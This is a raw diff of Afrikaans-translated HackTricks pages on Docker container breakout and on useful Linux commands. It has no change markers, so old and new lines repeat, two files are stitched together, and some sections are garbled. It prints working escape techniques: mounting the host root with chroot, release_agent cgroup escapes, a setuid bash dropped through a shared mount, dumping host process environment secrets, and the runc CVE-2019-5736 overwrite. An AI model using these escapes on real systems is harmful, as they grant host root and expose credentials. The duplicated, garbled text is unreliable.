docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
{% hint style="info" %}
In geval die **docker-socket op 'n onverwagte plek** is, kan jy steeds daarmee kommunikeer deur die **`docker`** bevel te gebruik met die parameter **`-H unix:///path/to/docker.sock`**
In geval die **docker sokket op 'n onverwagte plek** is, kan jy steeds daarmee kommunikeer deur die **`docker`** bevel te gebruik met die parameter **`-H unix:///path/to/docker.sock`**
{% endhint %}
Docker daemon kan ook [luister op 'n poort (standaard 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) of op Systemd-gebaseerde stelsels, kan kommunikasie met die Docker daemon plaasvind oor die Systemd-socket `fd://`.
Docker daemon kan ook [luister op 'n poort (standaard 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) of op Systemd-gebaseerde stelsels, kan kommunikasie met die Docker daemon plaasvind oor die Systemd sokket `fd://`.
{% hint style="info" %}
Daarbenewens, let op die uitvoeringsokkels van ander hoëvlak-uitvoeringsomgewings:
@ -70,11 +70,11 @@ Daarbenewens, let op die uitvoeringsokkels van ander hoëvlak-uitvoeringsomgewin
* ...
{% endhint %}
## Misbruik van Bevoegdhede Ontsnapping
## Capabilities Misbruik Ontsnapping
Jy moet die bevoegdhede van die houer nagaan, as dit enige van die volgende het, kan jy dalk daaruit ontsnap: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
Jy moet die kapasiteite van die houer nagaan, as dit enige van die volgende het, kan jy dalk daaruit ontsnap: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
Jy kan tans die houerbevoegdhede nagaan deur **voorheen genoemde outomatiese gereedskappe** te gebruik of:
Jy kan tans die houerkapasiteite nagaan deur die **voorheen genoemde outomatiese gereedskap** of:
```bash
capsh --print
```
@ -84,7 +84,7 @@ Op die volgende bladsy kan jy **meer leer oor Linux-vermoëns** en hoe om dit te
[linux-capabilities.md](../../linux-capabilities.md)
{% endcontent-ref %}
## Ontsnap uit Bevoorregte Containers
## Ontsnapping uit Bevoorregte Houers
'n Bevoorregte houer kan geskep word met die vlag `--privileged` of deur spesifieke verdedigings uit te skakel:
@ -98,7 +98,7 @@ Op die volgende bladsy kan jy **meer leer oor Linux-vermoëns** en hoe om dit te
* `--cgroupns=host`
* `Mount /dev`
Die `--privileged` vlag verlaag houer-sekuriteit aansienlik, deur **ongelimiteerde toegang tot toestelle** te bied en **veral beskermings te omseil**. Vir 'n gedetailleerde uiteensetting, verwys na die dokumentasie oor die volle impakte van `--privileged`.
Die `--privileged` vlag verlaag houer-sekuriteit aansienlik, deur **onbeperkte toesteltoegang** te bied en **veral beskermings** te omseil. Vir 'n gedetailleerde uiteensetting, verwys na die dokumentasie oor die volle impakte van `--privileged`.
{% content-ref url="../docker-privileged.md" %}
[docker-privileged.md](../docker-privileged.md)
@ -114,15 +114,15 @@ docker run --rm -it --pid=host --privileged ubuntu bash
```
### Bevoorreg
Net met die bevoorregte vlag kan jy probeer om **toegang tot die gasheer se skyf** te kry of probeer **ontsnapping deur die release\_agent of ander ontvlugtings te misbruik**.
Net met die bevoorregte vlag kan jy probeer om **toegang tot die gasheer se skyf** te kry of probeer **ontsnapping deur die release\_agent of ander ontvlugtings** te misbruik.
Toets die volgende omseilings in 'n houer uitvoer:
Toets die volgende omseilings in 'n houer deur uit te voer:
```bash
docker run --rm -it --privileged ubuntu bash
```
#### Monteer Disk - Poc1
Goed geconfigureerde docker-houers sal nie opdragte soos **fdisk -l** toelaat nie. Tog, op 'n verkeerd gekonfigureerde docker-opdrag waar die vlag `--privileged` of `--device=/dev/sda1` met kapitalisering gespesifiseer is, is dit moontlik om die regte te kry om die gas-aandrywing te sien.
Goed geconfigureerde docker-houers sal nie opdragte soos **fdisk -l** toelaat nie. Tog, op 'n verkeerd gekonfigureerde docker-opdrag waar die vlag `--privileged` of `--device=/dev/sda1` met kapitaliseer gespesifiseer is, is dit moontlik om die regte te kry om die gas-aandrywing te sien.
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
@ -135,7 +135,7 @@ En voilà! Jy kan nou toegang kry tot die lêersisteem van die gasheer omdat dit
#### Montering van Skyf - Poc2
Binne die houer kan 'n aanvaller probeer om verdere toegang tot die onderliggende gasheer-OS te verkry deur 'n skryfbare hostPath-volume wat deur die groep geskep is. Hieronder is 'n paar algemene dinge wat jy binne die houer kan nagaan om te sien of jy hierdie aanvallervektor kan benut:
Binne die houer kan 'n aanvaller probeer om verdere toegang tot die onderliggende gasheer-bedryfstelsel te verkry deur 'n skryfbare hostPath-volume wat deur die groep geskep is. Hieronder is 'n paar algemene dinge wat jy binne die houer kan nagaan om te sien of jy hierdie aanvallervektor kan benut:
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
@ -192,7 +192,9 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output
cat /o
```
#### Bevoorregte Ontsnapping deur die skepping van release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
#### Bevoorregte ontsnapping deur die skepping van release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) te misbruik - PoC2
{% code title="Tweede PoC" %}
```bash
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
@ -338,8 +340,8 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
```
#### Bevoorregte Ontsnapping deur Misbruik van Sensitiewe Monterings
Daar is verskeie lêers wat gemonteer kan word wat **inligting oor die onderliggende gasheer** gee. Sommige van hulle kan selfs aandui **iets wat deur die gasheer uitgevoer moet word wanneer iets gebeur** (wat 'n aanvaller in staat sal stel om uit die houer te ontsnap).\
Die misbruik van hierdie lêers kan dit moontlik maak dat:
Daar is verskeie lêers wat gemonteer kan word wat **inligting oor die onderliggende gasheer** gee. Sommige van hulle kan selfs **aandui dat iets deur die gasheer uitgevoer moet word wanneer iets gebeur** (wat 'n aanvaller in staat sal stel om uit die houer te ontsnap).\
Die misbruik van hierdie lêers mag toelaat dat:
* release\_agent (reeds voorheen gedek)
* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
@ -355,14 +357,14 @@ Jy kan egter **ander sensitiewe lêers** vind om vir te kyk op hierdie bladsy:
### Willekeurige Monterings
In verskeie gevalle sal jy vind dat die **houer 'n volume van die gasheer gemonteer het**. As hierdie volume nie korrek geconfigureer is nie, kan jy moontlik **toegang verkry/wysig tot sensitiewe data**: Lees geheime, verander ssh authorized\_keys...
In verskeie gevalle sal jy vind dat die **houer 'n volume van die gasheer gemonteer het**. As hierdie volume nie korrek geconfigureer is nie, kan jy moontlik **toegang verkry/wysig aan sensitiewe data**: Lees geheime, verander ssh authorized\_keys...
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### Voorregverhoging met 2 doppe en gasheerberg
Indien jy toegang het as **root binne 'n houer** wat 'n paar vouers van die gasheerberg gemonteer het en jy het **ontvlug as 'n nie-bevoorregte gebruiker na die gasheer** en het leestoegang oor die gemonteerde vouer.\
Jy kan 'n **bash suid-lêer** skep in die **gemonteerde vouer** binne die **houer** en dit **uitvoer vanaf die gasheer** vir voorregverhoging.
Indien jy toegang het as **root binne 'n houer** wat 'n paar vouers van die gasheerberg gemonteer het en jy het as 'n nie-bevoorregte gebruiker na die gasheer ontsnap en het leestoegang oor die gemonteerde vouer.\
Jy kan 'n **bash suid-lêer** skep in die **gemonteerde vouer** binne die **houer** en dit vanaf die gasheer **uitvoer** vir voorregverhoging.
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -370,12 +372,12 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
### Voorregskaping met 2 doppe
### Voorregverhoging met 2 doppe
Indien jy toegang het as **root binne 'n houer** en jy het **ontsnap as 'n nie-bevoorregte gebruiker na die gasheer**, kan jy beide doppe misbruik om **voorregskaping binne die gasheer** te bewerkstellig as jy die vermoë MKNOD binne die houer het (dit is standaard) soos [**verduidelik in hierdie pos**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Met so 'n vermoë word die root-gebruiker binne die houer toegelaat om **bloktoestel lêers te skep**. Toestel lêers is spesiale lêers wat gebruik word om **onderliggende hardeware & kernel modules te benader**. Byvoorbeeld, die /dev/sda bloktoestel lêer gee toegang om **die rou data op die stelsel se skyf te lees**.
As jy toegang het as **root binne 'n houer** en jy het **ontsnap as 'n nie-bevoorregte gebruiker na die gasheer**, kan jy beide doppe misbruik om **voorregte binne die gasheer te verhoog** as jy die vermoë MKNOD binne die houer het (dit is standaard) soos [**verduidelik in hierdie plasing**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Met so 'n vermoë word die root-gebruiker binne die houer toegelaat om **bloktoestel-lêers te skep**. Toestellêers is spesiale lêers wat gebruik word om **onderliggende hardeware en kernelmodules te benader**. Byvoorbeeld, die /dev/sda bloktoestel-lêer gee toegang om **die rou data op die stelsel se skyf te lees**.
Docker beskerm teen misbruik van bloktoestelle binne houers deur 'n cgroup beleid af te dwing wat **bloktoestel lees/skryf operasies blokkeer**. Nietemin, as 'n bloktoestel binne die houer **geskep word**, word dit toeganklik van buite die houer via die **/proc/PID/root/** gids. Hierdie toegang vereis dat die **proses eienaar dieselfde is** binne en buite die houer.
Docker beskerm teen misbruik van bloktoestelle binne houers deur 'n cgroup-beleid af te dwing wat **bloktoestel lees-/skryfhandelinge blokkeer**. Nietemin, as 'n bloktoestel binne die houer **geskep word**, word dit toeganklik van buite die houer via die **/proc/PID/root/**-gids. Hierdie toegang vereis dat die **proses-eienaar dieselfde is** binne en buite die houer.
**Uitbuiting** voorbeeld van hierdie [**verslag**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash
@ -419,9 +421,9 @@ As jy toegang het tot die prosesse van die gasheer, sal jy in staat wees om baie
```
docker run --rm -it --pid=host ubuntu bash
```
Byvoorbeeld, sal jy in staat wees om die prosesse te lys wat iets soos `ps auxn` gebruik en te soek na sensitiewe besonderhede in die opdragte.
Byvoorbeeld, jy sal in staat wees om die prosesse te lys deur iets soos `ps auxn` te gebruik en te soek na sensitiewe besonderhede in die opdragte.
Dan, aangesien jy **toegang tot elke proses van die gasheer in /proc/ kan kry, kan jy net hul omgewingsgeheime steel** deur uit te voer:
Dan, aangesien jy **toegang tot elke proses van die gasheer in /proc/ kan kry, kan jy net hul omgewingsgeheime steel** deur:
```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
@ -450,16 +452,16 @@ As jy op een of ander manier bevoorregte **toegang oor 'n proses buite die houer
```
docker run --rm -it --network=host ubuntu bash
```
Indien 'n houer ingestel is met die Docker [gasnetwerkbestuurder (`--network=host`)](https://docs.docker.com/network/host/), is daardie houer se netwerkstapel nie geïsoleer van die Docker-gashouer nie (die houer deel die gasheer se netwerk-namespace), en die houer kry nie sy eie IP-adres toegewys nie. Met ander woorde, **bind die houer alle dienste direk aan die gasheer se IP**. Verder kan die houer **ALLE netwerkverkeer wat die gasheer** stuur en ontvang op die gedeelde koppelvlak onderskep `tcpdump -i eth0`.
Indien 'n houer ingestel is met die Docker [gasnetwerkbestuurder (`--network=host`)](https://docs.docker.com/network/host/), is daardie houer se netwerkstapel nie geïsoleer van die Docker-gashouer nie (die houer deel die gas se netwerk-namespace), en die houer kry nie sy eie IP-adres toegewys nie. Met ander woorde, die **houer bind alle dienste direk aan die gas se IP**. Verder kan die houer **ALLE netwerkverkeer wat die gas** stuur en ontvang op die gedeelde koppelvlak onderskep `tcpdump -i eth0`.
Byvoorbeeld, jy kan dit gebruik om **verkeer te snuif en selfs te vervals** tussen die gasheer en metadata-instansie.
Byvoorbeeld, jy kan dit gebruik om **verkeer te snuif en selfs te vervals** tussen die gas en metadata-instansie.
Soos in die volgende voorbeelde:
* [Verslag: Hoe om Google SRE te kontak: 'n Skul in die wolk SQL laat val](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [Verslag: Hoe om Google SRE te kontak: 'n Skulping in die wolk SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [Metadata-diens MITM maak wortelprivilege-escalatie moontlik (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
Jy sal ook in staat wees om **netwerkdienste wat aan localhost gebind is** binne die gasheer te benader of selfs die **metadata-toestemmings van die node** te benader (wat dalk verskillend is van dié wat 'n houer kan benader).
Jy sal ook in staat wees om **netwerkdienste wat aan localhost gebind is** binne die gas te bereik of selfs toegang te verkry tot die **metadata-toestemmings van die node** (wat dalk verskil van dié wat 'n houer kan bereik).
### hostIPC
```bash
@ -472,20 +474,20 @@ Met `hostIPC=true`, verkry jy toegang tot die interproses kommunikasie (IPC) bro
### Herstel vaardighede
As die systaalaanroep **`unshare`** nie verbied is nie, kan jy al die vaardighede herstel deur uit te voer:
As die systaalaanroep **`unshare`** nie verbied is nie, kan jy al die vaardighede herwin deur uit te voer:
```bash
unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff
```
### Gebruikersnaamruimte misbruik via symboliese koppeling
### Gebruikersnaamruimte misbruik via symboliese skakel
Die tweede tegniek wat verduidelik word in die pos [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) dui aan hoe jy bindkoppeling met gebruikersnaamruimtes kan misbruik om lêers binne die gasheer te beïnvloed (in daardie spesifieke geval, lêers te verwyder).
Die tweede tegniek wat verduidelik word in die pos [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) dui aan hoe jy bind mounts met gebruikersnaamruimtes kan misbruik om lêers binne die gasheer te beïnvloed (in daardie spesifieke geval, lêers te verwyder).
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloeie te bou** en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomaties** te dryf met die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -493,27 +495,27 @@ Kry Vandag Toegang:
### Runc uitbuiting (CVE-2019-5736)
In die geval dat jy `docker exec` as root kan uitvoer (waarskynlik met sudo), kan jy probeer om voorregte te eskaleer deur te ontsnap uit 'n houer wat misbruik maak van CVE-2019-5736 (uitbuiting [hier](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Hierdie tegniek sal basies die _**/bin/sh**_ binêre lêer van die **gasheer** **oorvryf vanuit 'n houer**, sodat enigeen wat `docker exec` uitvoer die lading kan aktiveer.
In die geval dat jy `docker exec` as root kan uitvoer (waarskynlik met sudo), kan jy probeer om voorregte te eskaleer deur te ontsnap uit 'n houer wat misbruik maak van CVE-2019-5736 (uitbuiting [hier](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Hierdie tegniek sal basies die _**/bin/sh**_ binêre lêer van die **gasheer** **oorvryf vanuit 'n houer**, sodat enigeen wat docker exec uitvoer die lading kan aktiveer.
Verander die lading dienooreenkomstig en bou die main.go met `go build main.go`. Die resulterende binêre lêer moet in die docker-houer geplaas word vir uitvoering.\
Met uitvoering, sodra dit `[+] Oorvryf /bin/sh suksesvol` vertoon, moet jy die volgende vanaf die gasheer-rekenaar uitvoer:
`docker exec -it <houer-naam> /bin/sh`
Dit sal die lading aktiveer wat teenwoordig is in die main.go-lêer.
Dit sal die lading aktiveer wat teenwoordig is in die main.go lêer.
Vir meer inligting: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
{% hint style="info" %}
Daar is ander CVE's waaraan die houer kwesbaar kan wees, jy kan 'n lys vind in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
Daar is ander CVE's waar die houer vatbaar vir kan wees, jy kan 'n lys vind in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
{% endhint %}
## Docker Aangepaste Ontsnapping
### Docker Ontsnappingsoppervlak
* **Naamruimtes:** Die proses moet **heeltemal geskei wees van ander prosesse** via naamruimtes, sodat ons nie kan ontsnap om met ander prosesse te kommunikeer as gevolg van naamruimtes (standaard kan nie kommunikeer via IPC's, Unix-sockets, netwerkdienste, D-Bus, `/proc` van ander prosesse).
* **Root-gebruiker**: Standaard is die gebruiker wat die proses uitvoer die root-gebruiker (tans is sy voorregte beperk).
* **Naamruimtes:** Die proses moet **heeltemal geskei wees van ander prosesse** via naamruimtes, sodat ons nie kan ontsnap om met ander prosesse te interaksieer as gevolg van naamruimtes (standaard kan nie kommunikeer via IPC's, Unix-sockets, netwerkdienste, D-Bus, `/proc` van ander prosesse).
* **Root-gebruiker**: Standaard is die gebruiker wat die proses hardloop die root-gebruiker (tans is sy voorregte beperk).
* **Vermoeëns**: Docker laat die volgende vermoëns oor: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
* **Syscalls**: Dit is die syscalls wat die **root-gebruiker nie sal kan aanroep nie** (wegens gebrek aan vermoëns + Seccomp). Die ander syscalls kan gebruik word om te probeer ontsnap.
@ -542,32 +544,33 @@ Daar is ander CVE's waaraan die houer kwesbaar kan wees, jy kan 'n lys vind in [
{% endtab %}
{% tab title="arm64 syscalls" %}
### Docker Breakout Privilege Escalation
#### Description
Docker breakout is a privilege escalation technique that allows an attacker to break out of a Docker container and gain access to the underlying host system. This can lead to full compromise of the host and potentially the entire network.
Docker breakout is a privilege escalation technique that allows an attacker to break out of a Docker container and gain access to the host operating system. This can lead to full control of the host system, posing a significant security risk.
#### Attack Scenario
1. **Identify Docker Environment**: The attacker first needs to identify that the target system is running Docker.
1. **Identify Docker Container**: The attacker first needs to gain access to a Docker container running on the target system.
2. **Exploit Vulnerabilities**: The attacker exploits vulnerabilities within the Docker container to gain access to the host system.
2. **Exploit Vulnerabilities**: The attacker then exploits vulnerabilities within the Docker container to execute malicious code and gain access to the host system.
3. **Privilege Escalation**: Once inside the host system, the attacker escalates privileges to gain root access.
3. **Privilege Escalation**: By breaking out of the Docker container, the attacker can escalate their privileges and potentially take control of the host operating system.
#### Mitigation
- Regularly update Docker and the underlying host system to patch known vulnerabilities.
- Implement least privilege principles to restrict container capabilities.
- Monitor Docker logs and system logs for any suspicious activities.
- Use security tools like AppArmor and SELinux to enforce security policies.
- Consider using Docker Bench Security to check for common best practices.
To prevent Docker breakout privilege escalation, follow these best practices:
#### References
- **Update Docker**: Regularly update Docker to patch known vulnerabilities and improve security.
- **Use Appropriate Permissions**: Limit the permissions granted to Docker containers to reduce the impact of a breakout.
- **Monitor Container Activity**: Monitor Docker container activity for any suspicious behavior that could indicate a breakout attempt.
- **Implement Network Segmentation**: Use network segmentation to isolate Docker containers from critical systems and data.
- **Enable Docker Security Features**: Enable Docker security features such as seccomp, AppArmor, and SELinux to enhance container security.
By following these mitigation strategies, you can reduce the risk of Docker breakout privilege escalation and enhance the security of your Docker environment.
- [Docker Security](https://docs.docker.com/engine/security/security/)
- [Docker Bench Security](https://github.com/docker/docker-bench-security)
{% endtab %}
```
0x029 -- pivot_root
@ -589,10 +592,9 @@ Docker breakout is a privilege escalation technique that allows an attacker to b
{% endtab %}
{% tab title="syscall_bf.c" %}
### Docker Breakout Privilege Escalation
## Docker Breakout Privilege Escalation
Hierdie tegniek maak gebruik van 'n spesifieke kwesbaarheid in Docker wat toelaat dat 'n aanvaller van binne 'n Docker-houer kan ontsnap en beheer oor die gasheerstelsel kan verkry. Die aanvaller kan die `CAP_SYS_ADMIN`-bevoegdheid verkry deur 'n spesifieke reeks van stelseloproepers te maak. Hierdie aanval vereis egter dat die aanvaller reeds toegang tot die Docker-houer het.
{% endtab %}
Hierdie tegniek demonstreer hoe 'n aanvaller vanuit 'n Docker-houer kan ontsnap en bevoorregting kan verhoog deur die gebruik van 'n spesifieke kwesbare Docker-houer. Die aanvaller kan die `CAP_SYS_ADMIN` bevoorregting verkry deur 'n spesiale reeks van `syscall` oproepe te maak. Hierdie aanval vereis dat die aanvaller reeds toegang tot 'n kwesbare Docker-houer het.
````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64
@ -656,7 +658,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:

View file

@ -1,6 +1,6 @@
# Nuttige Linux-opdragte
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
@ -13,7 +13,7 @@ Kry Vandaag Toegang:
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -140,11 +140,11 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik **werkstrome te bou** en outomatiseer met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -170,7 +170,27 @@ i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
Greps is 'n kragtige opdraggereelhulpprogram wat gebruik word vir die soektog na spesifieke patrone binne teks. Dit kan gebruik word vir soektogte binne lêers en selfs vir die soektog na spesifieke patrone binne 'n stroom van data wat deur 'n ander opdraggereelprogram gegenereer word.
### Soek
`grep` is 'n kragtige soekhulpmiddel wat gebruik word om te soek deur teks of binêre lêers vir patrone wat ooreenstem met spesifieke soekkriteria.
### Basiese Gebruik
```bash
grep "patroon" lêernaam
```
### Soek in alle lêers in 'n gids
```bash
grep -r "patroon" gidsnaam
```
### Soek na 'n patroon in alle lêers wat ooreenstem met 'n spesifieke patroon
```bash
grep -r "patroon" * .uitbreiding
```
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -288,130 +308,16 @@ nmap --script-help "(default or version) and smb)"
```
## Bash
### Nuttige Linux-opdragte
Hierdie dokument bevat 'n lys van nuttige Linux-opdragte wat kan help met die harding van 'n Linux-stelsel. Die opdragte sluit in:
- `ls` - Lys die inhoud van 'n gids
- `ps` - Vertoon aktiewe prosesse
- `netstat` - Vertoon netwerkverbindings, routingtabelle, netwerkinterfaces en statistieke
- `ss` - Vertoon netwerkverbindings
- `top` - Vertoon aktiewe prosesse
- `htop` - Verbeterde weergawe van `top`
- `ifconfig` - Vertoon netwerkinterfaces
- `ip` - Vertoon en konfigureer netwerkinterfaces
- `w` - Vertoon ingeteken gebruikers en hul aktiwiteite
- `who` - Vertoon ingeteken gebruikers
- `last` - Vertoon 'n geskiedenis van ingeteken gebruikers
- `chkconfig` - Beheer dienste
- `systemctl` - Beheer systemd-diens
- `journalctl` - Vertoon journale
- `firewall-cmd` - Beheer die firewalld-diens
- `sestatus` - Kontroleer SELinux-status
- `getenforce` - Kontroleer SELinux-afdwingingsstatus
- `setenforce` - Stel SELinux-afdwinging in
- `chcon` - Verander SELinux-etikette
- `getsebool` - Kontroleer SELinux-booleaanse waardes
- `setsebool` - Stel SELinux-booleaanse waardes in
- `auditctl` - Kontroleer die status van die Linux-audit-stelsel
- `ausearch` - Soek in die Linux-audit-log
- `journalctl` - Vertoon journale
- `sshd` - SSH-diens
- `sudo` - Voer opdragte uit as 'n ander gebruiker
- `su` - Skakel tussen gebruikersrekeninge
- `passwd` - Verander gebruikerswagwoorde
- `chmod` - Verander lees-, skryf- en uitvoerregte van lêers en gids
- `chown` - Verander eienaar van lêers en gids
- `useradd` - Voeg 'n nuwe gebruiker by
- `usermod` - Verander gebruikersinstellings
- `userdel` - Verwyder 'n gebruiker
- `groupadd` - Voeg 'n nuwe groep by
- `groupmod` - Verander groepinstellings
- `groupdel` - Verwyder 'n groep
- `passwd` - Verander gebruikerswagwoorde
- `chage` - Verander gebruikerswagwoordvervaldatum
- `crontab` - Beheer cron-take
- `at` - Skeduleer eenmalige take
- `yum` - Beheer pakkette met yum
- `rpm` - Beheer pakkette met rpm
- `tar` - Hanteer `tar`-lêers
- `gzip` - Kompresseer en dekompresseer lêers met gzip
- `find` - Soek na lêers en gids
- `grep` - Soek deur teks
- `awk` - Proses tekslêers
- `sed` - Redigeer teks
- `sort` - Sorteer reëls in 'n lêer
- `uniq` - Filter duplikaat reëls
- `wc` - Tel woorde, reëls en karakters in 'n lêer
- `curl` - Haal data van 'n URL af
- `wget` - Haal lêers van die internet af
- `ssh` - Skakel na 'n ander bediener oor 'n veilige SSH-verbinding
- `scp` - Kopieer lêers oor 'n veilige SSH-verbinding
- `rsync` - Sinchroniseer lêers tussen stelsels
- `tar` - Skep 'n nuwe `tar`-lêer of onttrek dit
- `zip` - Kompresseer lêers in 'n zip-lêer
- `unzip` - Onttrek lêers uit 'n zip-lêer
- `df` - Vertoon skryf- en leesruimte op stoorgeriewe
- `du` - Vertoon die grootte van lêers en gids
- `mount` - Koppel lêersisteem
- `umount` - Ontkoppel lêersisteem
- `fdisk` - Beheer stoorgeriewe
- `lsblk` - Vertoon inligting oor bloktoestelle
- `lsof` - Vertoon watter prosesse lêers gebruik
- `lspci` - Vertoon PCI-toestel inligting
- `lsusb` - Vertoon USB-toestel inligting
- `uname` - Vertoon stelselinligting
- `dmesg` - Vertoon kernalboodskappe
- `uptime` - Vertoon stelselopsetyd
- `free` - Vertoon geheuegebruik
- `vmstat` - Vertoon virtuele geheue-inligting
